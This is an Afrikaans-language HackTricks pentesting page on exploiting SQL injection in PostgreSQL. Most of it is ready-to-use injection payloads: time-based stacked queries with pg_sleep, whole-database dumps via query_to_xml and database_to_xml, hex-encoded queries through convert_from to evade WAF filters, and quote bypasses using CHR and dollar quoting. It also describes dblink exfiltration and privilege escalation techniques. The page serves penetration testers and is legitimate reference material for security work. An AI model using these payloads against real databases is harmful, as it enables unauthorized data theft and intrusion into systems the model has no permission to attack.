PostgreSQL-inspuiting
Reading time: 4 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting wat in 'n postgresql-databasis gevind is, te benut en om die truuks aan te vul wat jy kan vind op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging respons openbaarmaking & Exfiltrasie
Die PostgreSQL-module dblink
bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die COPY FROM
funksionaliteit, stel aksies soos privilege escalasie, poortskandering en NTLM-uitdaging respons vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om hierdie aanvalle uit te voer.
Exfiltrasie voorbeeld met dblink en groot voorwerpe
Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect
te exfiltreer.
PostgreSQL-aanvalle: Lees/schryf, RCE, privesc
Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te verhoog in:
5432,5433 - Pentesting Postgresql
WAF-omseiling
PostgreSQL-stringfunksies
Die manipulasie van strings kan jou help om WAF's of ander beperkings te omseil.
Op hierdie bladsy kan jy 'n paar nuttige stringfunksies vind.
Gestapelde vrae
Onthou dat postgresql gestapelde vrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggestuur word wanneer net 1 verwag word. Maar, jy kan steeds die gestapelde vrae misbruik via tydinspuiting:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML truuks
query_to_xml
Hierdie funksie sal al die data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy 'n groot hoeveelheid data in net 1 ry wil dump:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Hierdie funksie sal die hele databasis in XML-formaat in net 1 ry dump (wees versigtig as die databasis baie groot is, aangesien jy dit dalk kan DoS of selfs jou eie kliënt):
SELECT database_to_xml(true,true,'');
Strings in Hex
As jy navrae kan uitvoer deur dit binne 'n string te stuur (byvoorbeeld deur die query_to_xml
funksie te gebruik). Jy kan die convert_from gebruik om die string as hex te stuur en filters op hierdie manier te omseil:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Verbode aanhalings
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met CHR
vir basiese klousules (karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Of met $
. Hierdie navrae lewer dieselfde resultate:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.